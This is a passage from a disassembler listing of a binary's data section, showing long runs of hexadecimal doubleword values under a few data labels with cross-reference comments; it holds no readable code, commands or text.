		dd 0F6EC408Bh, 90016184h, 4CB7E0C7h, 68DC82A1h,	45E016h
		dd 0AC12E597h, 887FECB1h, 3689B48h, 58465AD5h, 0BDA28045h
		dd 0FA220E6Dh, 401F69E3h, 0DF722BD1h, 0E6E8C909h, 2844AA30h
		dd 0E6C387Ah, 0D0B3F073h, 11FDE820h, 0DA17D310h, 0FE00B4A4h
		dd 4905C53Bh, 20640FD4h, 66C08A43h, 721BF45Bh, 3CEAA300h
		dd 563A50B4h, 9A2900B7h, 5DA73241h, 0F501D7FBh,	1BF967F1h
		dd 762077C6h, 90800A8h,	503FCA63h, 0F3077DAEh, 5D3A51C5h
		dd 91194850h, 6B295C52h, 7DFCA102h, 2460C6D9h, 0F0FA6F8h
		dd 40E0AE07h, 5A2192CAh, 0A86B00A5h, 7A126D25h,	5007FEBAh
		dd 0E04E0A70h, 0E34C9880h, 0A25F02CDh, 1DBAAF22h, 80BC1341h
		dd 0D102329Eh, 79BDF6h,	4250AA1Ch, 740191EDh, 6C5C571Ch
		dd 2388F300h, 29322Ch, 0B48656FDh, 99EBA14Fh, 0F9171000h
		dd 0CD487BCBh, 67EE022Eh, 0AD7AF827h, 9F9EC840h, 0E4BC645Bh
		dd 0FF55C54h, 66180109h, 1C85BF60h, 6D00AB07h, 40A70D31h
		dd 0EE062C79h, 408E649h, 0C0EEE303h, 151CA01Ah,	0C2D8F601h
		dd 301E1D24h, 0B8FBEBE9h, 255FF1Fh, 68C8DF9Fh, 0E86058DAh
		dd 13033CBDh, 2C563517h, 0DF801C64h, 6D440DDh, 0BC65125Ch
		dd 0CC46170Ch, 0A018A170h, 30AE114h, 0EA174BEDh, 34A049ECh
		dd 10A33956h, 24D4DC89h, 0A3075478h, 1BFDCB84h,	2E405840h
		dd 0CD780290h, 5CC1A943h, 48125EE0h, 8F643306h,	0C59731Ch
		dd 2394A3EEh, 4F60CA40h, 133D5320h, 148F18A9h, 0FFD49973h
		dd 0DE28CB00h, 72179908h, 0D67E0224h, 0CF9414B9h, 0D4469980h
		dd 0FA007BFCh, 42291E86h, 3C2D9E8Ah, 0BC3FC690h, 21199100h
		dd 2CAF7984h, 82035107h, 5CD0B823h, 0FF0DC7h, 0BA64C89Ch
		dd 4AA0844Dh, 55B4F803h
		dd 9F3886BDh, 1A397850h, 0BF500CEh, 6298C189h, 71314CDBh
		dd 0BFD8186Ah, 0C5D4070h, 72D92550h, 0A700FFC1h, 9CF58849h
		dd 66EDCCE8h, 210B08A4h, 49AFAC00h, 0CD9085Fh, 0D6800084h
		dd 91695636h, 0B5014FEDh, 2601B121h, 582D94FCh,	1874DE11h
		dd 6AD4A762h, 8DB00078h, 6D50D4Eh, 3C00FF20h, 44997975h
		dd 17F3DE02h, 19BD02Dh,	0E8BCD17Ah, 650740Fh, 0A7338E00h
		dd 6410FCB7h, 8946615h,	55022101h, 0AE423366h, 981960FEh
		dd 0E797D74h, 0D2BA5FA6h, 486CAB60h, 0D608D81h,	0F59F57A8h
		dd 0BA8E003Ah, 32BD939Eh, 3300E221h, 26A0D140h,	16B87D06h
		dd 7855D1Dh, 70F75636h,	509267D7h, 0D0760A00h, 0F0FC1407h
		dd 0E2E9001Ch, 9A35CB21h, 7A00960Fh, 0F6A92B87h, 73D11CAh
		dd 8E519AFh, 0ED9A001h,	0AE07B7BEh, 4C5927A6h, 4F616310h
		dd 3F8977B9h, 4780ABDCh, 0B5F90BCh, 7B016649h, 99C1282Ah
		dd 88E03164h, 1ABE3F01h, 0A3D0C283h, 89F8DF09h,	2E0369C3h
		dd 9408550Ch, 0A2E7887Fh, 71F00588h, 819532F9h,	0E810FE69h
		dd 0F598870Fh, 0DA1571Eh, 0EB1CA6C0h, 0DCF316h,	0E2518284h
		dd 25B6A463h, 0B4D2390Ch, 3A0F31B0h, 0F41F404Ah, 6849F06h
		dd 102C481Dh, 0DCDB581Eh, 3757D847h, 0A9E5D210h, 0B9430F05h
		dd 0B4E007E6h, 0B3FEA87Fh, 0D6F28C71h, 1F98D300h, 0E54274D7h
		dd 6B6D19F2h, 0C28B18DDh, 5966A6E0h, 0EABB800h,	0F024EF58h
		dd 0B17E06C8h, 9857D451h, 0CCD6FD0Fh, 0BF70200Ah, 3318CE54h
		dd 0B0B00695h, 0D1B64CD9h, 0AF588374h, 0F1835DA6h, 4180D92Fh
		dd 2CB10F21h, 9701CB79h, 262BD605h, 0F7D4291Ch,	305A62C9h
		dd 0A6635C50h, 0B69CA001h, 1FDAD22Eh, 0BD508C57h, 60AF125Eh
		dd 8A2079A0h, 1500382Bh, 8E1B665Fh, 50A4AA63h, 30AE4Fh
		dd 3739AD1Eh, 0AF0FDC17h, 480003E2h, 6F4729A1h,	119EF0Bh
		dd 2E2070A5h, 0F421523Fh, 0B900DBCAh, 3D666092h, 1D2C749h
		dd 61A39B44h, 80C9AFF7h, 0E1565D21h, 19CA5Fh, 58C8ADC4h
		dd 8DE4F9D8h, 89BB0600h, 73C645FCh, 0C0220085h,	0F49EBCEh
		dd 0C900643Ch, 5C4DC479h, 1660423h, 5DDC72BCh, 0C95B88ECh
		dd 0F328E1CCh, 823BB5D8h, 77EB0601h, 0A46C290h,	0FCFD94F4h
		dd 483458AAh, 0FFC7F000h, 0DA26C969h, 0AB7EE800h, 0FDD35D4Eh
		dd 37C40EC8h, 354619ECh, 0C5031151h, 754CE90Fh,	643D88BEh
		dd 2F900Eh, 624352CCh, 0CF3C6F8h, 0D2007775h, 0EE773C7h
		dd 6F6DDFh, 0C2DAE897h,	0B0A98FCAh, 0B8A21600h,	0ABADC1D3h
		dd 95EC00A3h, 0FE3EEF7h, 1903283Ah, 0B7A84720h,	4A100009h
		dd 7086AD7Bh, 4D00F305h, 0D52098A1h, 3B5610E2h,	0CE801A97h
		dd 84C4D91Fh, 0DA00CD4Bh, 715F5A0Dh, 7DCB3438h,	5BAA003Ch
		dd 172915CAh, 57008359h, 9A462F08h, 0A9BF4Fh, 1881FB7Ch
		dd 2135D68Fh, 363C151Ch, 607D19Fh, 0F7D041F6h, 7ABF73E3h
		dd 0C38008Ah, 3A811470h, 4601C385h, 117205F8h, 0C8E37AB9h
		dd 7A2E4F67h, 7870B0A7h, 373E095Fh, 63002DB8h, 0F7170C2Ch
		dd 4D06FA00h, 0FF9C3A6Eh, 10E6B2h, 7EB0EFBBh, 0C33E2481h
		dd 4D70CF00h, 3B83A29Ah, 981800B4h, 5576A852h, 0A33F9517h
		dd 9B8F0088h, 662BDF7Ah, 3D57000Ah, 372A7067h, 6900BC7Fh
		dd 6E8B41C3h, 3FA3646h,	354B82F3h, 10F04742h, 5403CB3Ch
		dd 0C51512C0h, 7A0BE8FAh, 9AC60051h, 65E93038h,	0A5281604h
		dd 717699FDh, 0EEC55700h, 2D5E4277h, 0DAC40154h, 352E0B22h
		dd 1760E4BAh, 39AA23Ch,	0EBA89E39h, 9799C118h, 0B72E880h
		dd 5E82E3A5h, 0CED42314h, 0F9007AD7h, 0DDFD4E22h, 0D94F75h
		dd 1194AE54h, 0AFDA9EDCh, 0F750B307h, 7330EF9Dh
dword_544450	dd 0C059679Ah, 0BEE5BA10h, 0B10F2EC1h, 0FE88BB20h, 0B06D91C0h
					; DATA XREF: ___:off_43D3D4o
		dd 32C7E0h, 0E98F4892h,	0B30943F6h, 0CB9A100h, 0F5DAB169h
		dd 945A0014h, 0EACFDDF8h, 77FE7AD8h, 9E3BAE05h,	0ABA289Bh
		dd 0FCFFA0h, 2A909C1Ah,	0DC070DD8h, 0C2FAA84Dh,	0E4E1C8D0h
		dd 417F3Fh, 31CBF365h, 6F33EE44h, 0FC08F400h, 1F0DFA61h
		dd 2AB84Fh, 7543D086h, 2C7DE855h, 57AED900h, 7EF7066Eh
		dd 0CF04078Fh, 0F047FEFBh, 0E0DCC209h, 5CB3E400h, 9F688502h
		dd 0FFED0067h, 97193921h, 0D7003789h, 0E715E935h, 3E6156B0h
		dd 0A02F5C1h, 8CD2BDC7h, 57719480h, 5C908E9Bh, 0DA5F1600h
		dd 0B7A12FEAh, 0A0D20006h, 0CCAF5E76h, 4C0F9067h, 0C0D6B37Dh
		dd 0ED1B613Dh, 36FA37DEh, 8C404068h, 0D4F016CEh, 342EBC00h
		dd 0D1D6653Ch, 728FEB9Ch, 72A21Dh, 758D28D4h, 0AE790C50h
		dd 86321000h, 145DD2D9h, 5ADA1ED5h, 9B4B40B0h, 0AB685435h
		dd 81F7A0CFh, 4E9A8AC1h, 4E306831h, 7849602Fh, 0C043873h
		dd 842A9203h, 0C068870Ah, 182BFE95h, 0A9459E55h, 850040D2h
		dd 505AA159h, 2A721239h, 8C9DB7h, 336A8B27h, 35ADE2F9h
		dd 59190100h, 30562DE4h, 7D70025h, 17C0A340h, 1500BB93h
		dd 0DA604878h, 0E8AAD1h, 9AF2E969h, 3E11E635h, 0EC3CCF00h
		dd 0A3BAC271h, 0F56D002Ch, 8227096h, 73004EC3h,	5AD72925h
		dd 302FB5Dh, 6D27DA5Ch,	180C1FD0h, 0B89A2252h, 0A180021h
		dd 0BA0C84B7h, 31F60B0h, 0E013B5Fh, 800BB1AAh, 1FCFD8h
		dd 0E0B58328h, 5906A7F7h, 6899441Fh, 0E4FD803Fh, 1231ACBAh
		dd 1DFC0E4Ch, 40D8B520h, 0B260DAA1h, 33E72968h,	2698A8A9h
		dd 0E053F2C1h, 0D213009Ah, 819C9B45h, 31183F4Ch, 24298497h
		dd 6A1218EAh, 37A4892h,	4EDEF700h, 5B5EE7C6h, 7A4E686h
		dd 8B0F4CEAh, 6BDFC063h, 98717C17h, 0D61B9E00h,	0F9F46DDCh
		dd 502500FAh, 0BA81B23Eh, 0B8EE16A0h, 1E65361Ch, 4383F9DFh
		dd 0E6C1E56Dh, 0BECE0098h, 2F29F8A4h, 600069FEh, 453E126h
		dd 0A8A793D6h, 28F925A0h, 0F1AC507Ch, 0ACF5FCh,	9FEA96EFh
		dd 36D6692Ah, 1768DB16h, 8D0DB906h, 61455C39h, 778B8600h
		dd 0E439AEEBh, 0DFB69401h, 81A9B941h, 0FF4FE885h, 0A3A04098h
		dd 0B30C4BC2h, 64AC11C0h, 0FE7737h, 9C126561h, 0AB1A4BECh
		dd 0D7CE21C3h, 987518h,	729BE856h, 125C91FAh, 0F4F4D8E0h
		dd 3144A900h, 0BB1ABC7Ch, 2C591882h, 0A2F141A7h, 0F403B917h
		dd 0F696D100h, 3594426h, 99E073ABh, 28002E56h, 14656BD7h
		dd 0A18F76Fh, 77A8A73Eh, 0C548588h, 404814A6h, 0EA5D6880h
		dd 0A7077E17h, 0D12DECA4h, 57AC53h, 126735B1h, 0C2A426Bh
		dd 854963ECh, 19470008h, 0A96F2DE2h, 0B022076Ah, 1192C361h
		dd 8F52ACF2h, 55093591h, 0DC0D28B4h, 68316500h,	0EB42ACB9h
		dd 62C200EAh, 5836DB25h, 4B607C4Fh, 8E99D839h, 34A600DCh
		dd 0BD9EAE71h, 87607D9Fh, 0B3792381h, 340A0E9Dh, 452050A5h
		dd 15695A54h, 5DEDF18h,	50902129h, 79F77856h, 372F00A5h
		dd 0B45477E8h, 4B0C9C0Ch, 317FD94Ch, 621600C0h,	0BBCE41F9h
		dd 0C95219ADh, 217C00E0h, 0B11B80D2h, 135C1CA6h, 0ACB49554h
		dd 0F7A55600h, 938972Fh, 80519863h, 0F4EEB8C6h,	737E0E33h
		dd 4BE0F952h, 7FDE360h,	9AA32512h, 92BF2808h, 0A26430F7h
		dd 4E00CC98h, 0EF1A4515h, 4B09Eh, 812644E6h, 711285ECh
		dd 14664D00h, 21775AB8h, 0F49C0A9h, 0ABBA6B0Eh,	15B1060Ch
		dd 0C17016h, 9173B4F9h,	2358F210h, 0D838C92Ah, 121B9A74h
		dd 0D73E3C27h, 59052E20h, 79F10261h, 9807BDD2h,	10131041h
		dd 1992E7Bh, 282A751h, 0F284F30Ch, 7A3B407Fh, 2FB424C7h
		dd 5E1403Ch, 8D0008E4h,	0BCBF12ECh, 0D4387h, 55949F26h
		dd 0DD17D63Ch, 9134CE30h, 712893A7h, 1FA40C0Dh,	0BE1905C9h
		dd 0D800F9ECh, 36CA4D85h, 0C1B4E7h, 434BA83Eh, 8A086B8Eh
		dd 0CF94C0A8h, 1D00F776h, 26F0294Dh, 0E7117Ah, 7FE1DF64h
		dd 909DC9CAh, 33ECE8A1h, 0EFBA000Ch, 330B6927h,	9CA10026h
		dd 994652D8h, 0C3008730h, 914D50BEh, 3E775B76h,	0D28090DEh
		dd 6EB5E71Fh, 49C19B08h, 0AF33450Dh, 0B17C3BC4h, 0ACA307A8h
		dd 9449807Ah, 0E12474F6h, 4402D26Ah, 805BA778h,	7E146714h
		dd 990709D4h, 6422DA2Dh, 3044CEDCh, 0DF886000h,	0C4D7CC7h
		dd 307B00A7h, 3ED9A048h, 909992D6h, 0EC5A24BFh,	74796EC1h
		dd 0F3F11194h, 0FC25951Ch, 983CF380h, 5DA2A6EBh, 79DCC304h
		dd 0C0ABFD40h, 17DEF69Ch, 0D097D501h, 9DB5399h,	9883ADCCh
		dd 9810228Ch, 1F0307Fh,	4D053CB1h, 0F0089E06h, 0F1B68038h
		dd 358049E3h, 0B83D7100h, 0EF47D39Fh, 0A0A7013Fh, 0C92D1B23h
		dd 0B9BEDEh, 494E46D5h,	699B9A9h, 57A65B14h, 520021DDh
		dd 39DB5523h, 0C0AF2F53h, 0F23A5879h, 0B3076AC6h, 0AD5BB9C5h
		dd 579081F9h, 1811364Dh, 0AEAC13B4h, 9CC0F9A1h,	112B63C9h
		dd 4CE8ED73h, 16009DE8h, 1D81FBD3h, 0A8937BCh, 0E7DCD8F7h
		dd 0F04822D4h, 0E5F108FCh, 8C409FE8h, 0BDF1CB3h, 2C936B7Fh
		dd 0D0C1410h, 0BBCCE601h, 0C4A2605Dh, 499FF9C0h, 36268868h
		dd 0E2C5003Eh, 6C0CE838h, 0F64D4507h, 650F94Eh,	550DC9ACh
		dd 76D8F893h, 122700DCh, 70C59CADh, 0C400787Ah,	0B8FDF707h
		dd 0E254176Ch, 0BF6099FFh, 737FE980h, 8628A0C1h, 90F97D2Ah
		dd 2A780B00h, 6108C575h, 0B8680083h, 5701F59Eh,	5F8806CEh
		dd 61F409h, 50DCA0E6h, 0AFD90A6Ah, 0CAE3AA00h, 0D77A6CFEh
		dd 5DDA44C9h, 4E0EAB00h, 5C9022BAh, 0C022EFADh,	0D6F46403h
		dd 20D0043Eh, 0F600D983h, 4F37667Eh, 26DE3AB9h,	61B4BBBDh
		dd 202E5819h, 0F498CEFFh, 2247C819h, 410B3E0h, 2348A973h
		dd 18F042B0h, 8E41A60Eh, 99D413D5h, 81FFE26h, 5D123A00h
		dd 7BC30DBh, 0E22B4974h, 63F64185h, 0D41804Eh, 0AEAA5924h
		dd 0B3E800D0h, 95CB04ABh, 40047AF9h, 0DF12B054h, 34FC8Ch
		dd 0EC8F7F7Bh, 0B84A57DEh, 0C99A307h, 0FD004FBCh, 40FBEA5h
		dd 4B76657Eh, 2664CCD0h, 7BFC2F03h, 0E8E53BD9h,	0FE1A3DF6h
		dd 1E7D0048h, 0B1F134BAh, 18912154h, 0C53DAE00h, 7CA7A8DBh
		dd 643300E9h, 859CCE13h, 3B0FCFEh, 0A48048h, 2BB82862h
		dd 0B0BCF2ABh, 84571D8Ch, 0C07F00EEh, 0BB70C6A1h, 66EC2B00h
		dd 0A5F66F12h, 27BD0CD0h, 0D4A19009h, 4132EE00h, 0E9E4E665h
		dd 949A03A0h, 0B445592Ch, 3C2A63D0h, 883E482Eh,	0C0DEE563h
		dd 909D9CA5h, 58B50628h, 21DCC942h, 2A3D3716h, 35951600h
		dd 607F9Fh, 448D74B4h, 93CA204h, 2E818460h, 0E41A3Fh, 19DD77A9h
		dd 87E354F3h, 39E7D807h, 0BB006357h, 283C2037h,	1C0E5Bh
		dd 8D8CC9DAh, 0F66EE0A8h, 276B1B00h, 0AB8578B2h, 89E60172h
		dd 31B9F328h, 0A7B86091h, 35A18660h, 149C3CA1h,	448D07DCh
		dd 8038AC24h, 6CBA6ECh,	0CE0EB7E5h, 0E048D246h,	83155F59h
		dd 912B3EB9h, 838857A9h, 6E72699Eh, 2B99EE80h, 13543B49h
		dd 0AC344E6Dh, 288186C0h, 0BF790C56h, 27665BB8h, 0F90FC600h
		dd 0DFD64FC0h, 9540BD9h, 0F89894F1h, 9B00BF5Fh,	9103AD01h
		dd 0ED10Fh, 6864A7BAh, 7882E127h, 81F5CB38h, 0F0E87B77h
		dd 0D98F9708h, 90006061h, 76B49AC1h, 0D3713A00h, 0D210C546h
		dd 4D813E3Bh, 0BDE13701h, 40684BECh, 0CB47A5A7h, 148C3607h
		dd 6BE0EAE3h, 7344B0h, 0FE46F753h, 0B260B176h, 33025CFAh
		dd 63F104E2h
		dd 0E49848A8h, 9D4E66Bh, 6E5992F4h, 1491B08Ch, 0F8872000h
		dd 83935650h, 1864269Fh, 0C1AE09EFh, 0ECD95400h, 0C600DD58h
		dd 569B232Bh, 286CA4h, 0B855B3E9h, 8A017A31h, 7078898h
		dd 40BB519Ch, 5243A772h, 0BEA60F34h, 3EC242D4h,	0C8A13FC9h
		dd 0D4A718FCh, 660E9F8Eh, 4594F20Dh, 2D828F65h,	0BFD4A0A5h
		dd 6C725Eh, 0D4B11899h,	3DCD9463h, 4007B4FEh, 4FA48ED5h
		dd 0D9642B57h, 0CAF488h, 0B9AB66F9h, 48E30A56h,	80C02B39h
		dd 6DC42C33h, 4878A580h, 0F4142097h, 0A2808808h, 85B4F342h
		dd 0C0F5400h, 8E24BBA1h, 2D581406h, 1A003009h, 0A6E2B010h
		dd 0EB07D259h, 2B04501Eh, 0C075C813h, 0F94069Ah, 0F968609Bh
		dd 93FE4540h, 0A100DAEFh, 831466E1h, 0B12E24AAh, 86E00068h
		dd 9392CED2h, 224234Ch,	25A6FFC2h, 7A98A420h, 9368A4h
		dd 0EC60DDFh, 1D3E2B2Eh, 195C8400h, 0FBE6620Bh,	8260004Bh
		dd 542DDFD7h, 0C7607633h, 5C2380E8h, 0E7780D1Ah, 3028F2B1h
		dd 0A09CCDB8h, 0F308A980h, 90A83D7Ah, 198E637Dh, 0D8A05070h
		dd 0B901C6EBh, 5551AC41h, 0A8220E54h, 918043Ch,	0B9AA3181h
		dd 4304F67Eh, 0A690C5ACh, 42FB1B80h, 0DE5A0154h, 7A60DA4Dh
		dd 130430D9h, 0F048E888h, 0C19C96B4h, 0F1DD07F6h, 144751h
		dd 11F431D0h, 1CB71401h, 0E1562D7Bh, 76627FCh, 1DEC5469h
		dd 919D86D6h, 0ED488C98h, 0C8812C68h, 7ED76167h, 97CC810Eh
		dd 6820080Bh, 0E618007Dh, 0D16E64F6h, 64C422A6h, 68886351h
		dd 0B6EA020Bh, 41A9C532h, 293938C0h, 0A65EAA07h, 0D580FB5Ch
		dd 4C4E6008h, 15010CE4h, 72BBD00Ch, 2FB881D2h, 8440DD6h
		dd 8D03A032h, 0E769EC75h, 18718180h, 231D37ECh,	7D828F07h
		dd 807C03D5h, 596A5B40h, 89B204C9h, 0A4A1DCAAh,	0B0A19150h
		dd 96202011h, 64A6F0DCh, 0F2C9E70Fh, 24AB2440h,	30B27634h
		dd 75E67F44h, 0A2004F70h, 0EA6669F9h, 8FACDEh, 3C96E1B5h
		dd 0C39F3936h, 11C5F4A8h, 0FCCC620Eh, 57A10053h, 0F59D718Bh
		dd 247CF60h, 0A68435B7h, 9868D12Ah, 99757F50h, 243A48B1h
		dd 854938CFh, 408CDE88h, 74590191h, 3951F0E9h, 0B8B8D740h
		dd 0D000767Fh, 4B3A7C53h, 0F4146593h, 992CE838h, 7DA60014h
		dd 0FCDB4234h, 8C01C700h, 2CAC3BF9h, 9F0F4FDh, 9117D795h
		dd 0C400D464h, 9AD8966Bh, 1C580h, 8B70F4CAh, 0F13E5C56h
		dd 51F94914h, 113525E0h, 39E09C20h, 0EC99003Fh,	0B05A6FE6h
		dd 0CE0293B9h, 5C6151A5h, 0C09C6A1Eh, 4E1BEA0h,	0A7257AE5h
		dd 0ADF8820Ch, 0A0E08B20h, 4DD4002Fh, 0E99F57FFh, 3D046285h
		dd 0C9B8C37Bh, 0EAE408A4h, 0E490069h, 1778A7FAh, 94006111h
		dd 5AF30AECh, 0A021126Fh, 0D6CF2Ch
		db 0AFh, 53h
word_544F42	dw 55CCh		; DATA XREF: ___:off_435E10o
		dd 6C01B481h, 0A7418009h, 0E7C898B5h, 24F1000Eh, 0C3ED5654h
		dd 41C0AE9Ch, 7AC0AF1Ch, 3EA7BB4h, 545B0483h, 211ED60Ch
		dd 0C7805A4Dh, 6A16B4FEh, 75100087h, 9EC31BBh, 61006019h
		dd 0FD46F836h, 125F89DEh, 309ACED6h, 2CB683C4h,	900F0B1h
		dd 6048B244h, 3F200D4h,	748031A6h, 5840E125h, 1DB01E9h
		dd 993B8F45h, 0C1542C2Ah, 58718EE4h, 6403030h, 6CA33155h
		dd 109C38A9h, 780B2D26h, 19480B56h, 4CF82838h, 0D06803F1h
		dd 753FE0B4h, 54A25987h, 1446C9CBh, 1C4B8200h, 77E2075Ah
		dd 749D7C79h, 773E4E6h,	0C00639B4h, 4C63E2FBh, 5F4FB0A0h
		dd 0C6000C47h, 69B10A9Eh, 0F8027D3Fh, 55DF1368h, 5EAC200Eh
		dd 0EB003761h, 0C8A386ADh, 243B1FCCh, 118E046h,	0AA72B64Bh
		dd 7910290Eh, 8A236600h, 0E1E4FF51h, 6A8604DAh,	804D76BEh
		dd 43BBD974h, 9B151F0Eh, 68013750h, 0B3762271h,	8A7891h
		dd 0BF753C49h, 5617BD2h, 0C7AEBCFBh, 5DCB81D1h,	0B194ECBDh
		dd 314B2600h, 0C8166D72h, 0B4AA0A1Ah, 808C22C9h, 0DB186C2Ah
		dd 0CA3C57E2h, 0C2BF87B1h, 10E232F4h, 14B86089h, 47701208h
		dd 18683057h, 7A1C3781h, 0E5454F6Bh, 0DB009C11h, 5623F163h
		dd 99A627DEh, 22C8481Bh, 850012AAh, 347FBBB7h, 820B27h
		dd 419E23CBh, 7AABF79Bh, 326C0A4h, 900063E0h, 68AF2F71h
		dd 0C5A2C0Ah, 7D830928h, 0B93E3C68h, 882BCE00h,	0BC4BE0C3h
		dd 22AB043h, 5A53675Dh,	8C449F36h, 0A66CA903h, 0C1C25B89h
		dd 1EF8B760h, 8068B9BCh, 0F8BB3026h, 0CF005F83h, 0D27DA20h
		dd 284AE68Dh, 3B685699h, 0E006562h, 0D464FE81h,	9404E652h
		dd 9E6B01E2h, 473C8Ch, 0E7AEDE69h, 89ED0350h, 0E09ECF00h
		dd 0A30A4D6Ch, 30ACA048h, 146700C2h, 0CF17BD74h, 8E3AED5Dh
		dd 80B8CC8Ah, 0FF6B9EADh, 0C6940015h, 0A7CECCCDh, 7D77CA8Dh
		dd 5E3CC80Bh, 0BDB4000Dh, 0F65AA81h, 0ED312201h, 0C6545740h
		dd 0B154A94Bh, 7A2A9B84h, 8200A04Fh, 0C1E5CC45h, 16152DDh
		dd 0FA59741Eh, 302B53CAh, 48008710h, 84B78685h,	0B40E4FBDh
		dd 50AC8DACh, 3F5F78A1h, 24F036E1h, 6460F7CEh, 2C992DF9h
		dd 0CB4A6421h, 148C20E7h, 6401560Ah, 0C318C0F8h, 0D40749h
		dd 358ADCEDh, 0C4A09FCBh, 2B3081E3h, 0B74AA499h, 0DF20D702h
		dd 1B74B6h, 0DE578917h,	0F6C73159h, 2A79610Bh, 0C0EC00F9h
		dd 86D38Eh, 0C3A26B14h,	17D65DA7h, 0C5A0CE68h, 49D80831h
		dd 398E4450h, 0B04C90DDh, 0C237009Ah, 6560B8D6h, 740C6377h
		dd 38E9D554h, 14683F16h, 742906ADh, 0D37CA400h,	570F5C4Bh
		dd 12E68B08h, 0A9875820h, 43060010h, 55ECB9A6h,	1600B371h
		dd 53A22109h, 1872DD67h, 518C0840h, 8D00C191h, 6F659288h
		dd 1C583C0h, 0F928DFDCh, 0E88604B4h, 2E278023h,	68F4A0C1h
		dd 666E79h, 0FE3FD359h,	9C2CF356h, 9EE9F40Fh, 460A2091h
		dd 597A6A2Eh, 990890D4h, 0D7185231h, 48A8E660h,	712EB854h
		dd 51D501E0h, 68104E93h, 7A0A8064h, 956971Dh, 40231E91h
		dd 604AA4C1h, 29C0C287h, 0BFB7E2A7h, 0D27E00CEh, 1B3E964Ch
		dd 21E8AC31h, 36E5C602h, 58512E0Ch, 0E90C140h, 10341899h
		dd 0B11D4F4Dh, 90CF1660h, 0C1840544h, 8031A13Ch, 9F55C70Ch
		dd 98E657ECh, 0D8820BD0h, 30902E63h, 0F903F043h, 79200C49h
		dd 6D80A439h, 28CE6801h, 0EF14104Bh, 1D00F422h,	8236BFDBh
		dd 0B748390Bh, 0F6E60539h, 0E840537Ch, 6133247Fh, 0BA750073h
		dd 0DA11AFECh, 8112E980h, 4500DFF8h, 0A50AF790h, 91542C25h
		dd 7030208Fh, 82D0BCDCh, 714F563Eh, 0F5002859h,	76EFAEF3h
		dd 99371589h, 6211C32h,	0BBC2BC1Eh, 60561F0Eh, 0A491B0h
		dd 71684BE2h, 2671451h,	3EFD6604h, 0C0A4B9A7h
dword_545350	dd 0F6651D0Ah, 0CFDF0146h, 38BC6715h, 975B8790h, 7EE8BAE1h
					; DATA XREF: ___:off_43D394o
		dd 0A7257D0h, 39CF3673h, 16A8BCh, 1074FC44h, 268291DCh
		dd 7DADB07h, 5A114030h,	6428317Fh, 2C452Ah, 9B39A05Eh
		dd 224B431Dh, 8877C005h, 14D4EC30h, 0A0128480h,	251714DCh
		dd 0F5001CC9h, 3C1D0BB2h, 0E5050E77h, 0DAABE15Eh, 208C8882h
		dd 9E158706h, 746E8F02h, 595DE3F1h, 0BFB88080h,	0A4E4F34Dh
		dd 0DA18483Ch, 0BBC4F840h, 5C591BC2h, 6E18FCC0h, 7E999092h
		dd 5CB87F02h, 442F879Dh, 5CC97EB0h, 0F01DA293h,	192DC01Bh
		dd 0B7AFC809h, 44BCE10Fh, 462B0B59h, 20641790h,	0F20300B9h
		dd 0ACD5CC74h, 0D8CAF639h, 0A0552611h, 6680BB1Fh, 4E45ABDFh
		dd 0BC675C60h, 29E3FD22h, 3EE603E0h, 0E7C09DC9h, 0E17B6EF0h
		dd 2B33004Bh, 0C57DC7D8h, 0B6B892ACh, 7F444C90h, 0CB560949h
		dd 0A583B8D3h, 7AC3B488h, 0D4442ED2h, 28E6AD00h, 396CC3CCh
		dd 0BC803D0Dh, 968DDB0Bh, 0AB105A00h, 9499EB59h, 8B398C81h
		dd 0A0C30E8Eh, 5F015DA8h, 0C45C203Eh, 0EF02AFCFh, 0A7BF8D54h
		dd 800C7151h, 0C07A60D9h, 545E139Dh, 0DC59830h,	0ABB9C395h
		dd 9E8E583h, 8E024515h,	4ED18975h, 0E018AF1Bh, 0F60CE693h
		dd 4D940916h, 3D7405Ah,	0DD23E212h, 0F5D00480h,	0FF542953h
		dd 20CE12E4h, 1C748F68h, 0F8FE1100h, 1B9C8CADh,	0F2A1247Eh
		dd 0C36C03A4h, 911F9492h, 4E8B700Ch, 18C4A9h, 0A5CB071h
		dd 8657AB16h, 0D3981807h, 114541Dh, 9CE694A4h, 0F1404000h
		dd 8F3C7956h, 7A938E11h, 0F82136CEh, 76FCC30Ch,	0A2B303A1h
		dd 2FBC793Ah, 2C0307C0h, 0FF4E3000h, 0C050C614h, 52F209FBh
		dd 4C8B57BCh, 7DB6A011h, 6E68058h, 0FEF9E39h, 0DFD6506Eh
		dd 0D808514Ch, 81133006h, 0AA9AA2Ch, 87450106h,	0BBE100A2h
		dd 1E32F899h, 0E6B45406h, 22D80B36h, 4D09B2B6h,	87CDA6F5h
		dd 81C12ADCh, 8BECB93Fh, 0DF60002Fh, 0F516241Eh, 0E1C0DDCFh
		dd 689EB771h, 0D394002Ch, 39A65B3Eh, 7F26798Ah,	47041CA4h
		dd 0D8E2FEC4h, 3E99F801h, 0D3328EAAh, 3890ADE4h, 9E6A81A3h
		dd 726D0AA8h, 5A942A82h, 0E0BCFEh, 387410DBh, 0BF58BD01h
		dd 2FA69C55h, 987286Ch,	1B59B0E3h, 7A48D956h, 0A08980D8h
		dd 0A76330h, 6FF4DABCh,	773B022Bh, 1F68709h, 0ED300361h
		dd 495CA085h, 4814484Fh, 0C2A0E9C0h, 2AE5D67Bh,	132B3C20h
		dd 804CBE09h, 62799817h, 0BF039B3Ah, 552E3FB5h,	0A4318037h
		dd 2A360174h, 682CAB27h, 0A8FC0034h, 4FA0000Ch,	8E1B8373h
		dd 500155CDh, 355C1A67h, 0B9F1D353h, 17AAF0D8h,	0A9756BCh
		dd 0AF4010Eh, 1B43C46h,	0FE4AFBFh, 7FE840A9h, 3CEB3D7Ah
		dd 34F880FCh, 269E11B6h, 28865F5h, 0CEE2E670h, 125620C1h
		dd 8E685C0Eh, 59C05106h, 4A5FDE4Dh, 37526A0Bh, 0CB848174h
		dd 0B971C1F3h, 28C1E47Ch, 405698FCh, 31B850F4h,	893AB17h
		dd 25240054h, 0A02C19B5h, 0C1CC4AE0h, 0BFDA04B0h, 84BCEC0Ch
		dd 2E1D5F12h, 0F9ACB4h,	9A52FA33h, 0D865C526h, 0CC24FBF6h
		dd 3A0F9184h, 8021D6A7h, 1020419Ch, 47690ABDh, 67B4915Bh
		dd 37ED9048h, 631D3A78h, 76409B51h, 9392E12Dh, 3060F7Bh
		dd 0BBA09FAAh, 0CA7A573h, 973E4700h, 0B13BEDA0h, 7CC5EA60h
		dd 664C0177h, 99DE5A53h, 4ABC2D56h, 161E0C8h, 34CDBD3h
		dd 0EC52A41Bh, 204A72C6h, 2B057E0h, 0B5AD3EA2h,	3054CAE6h
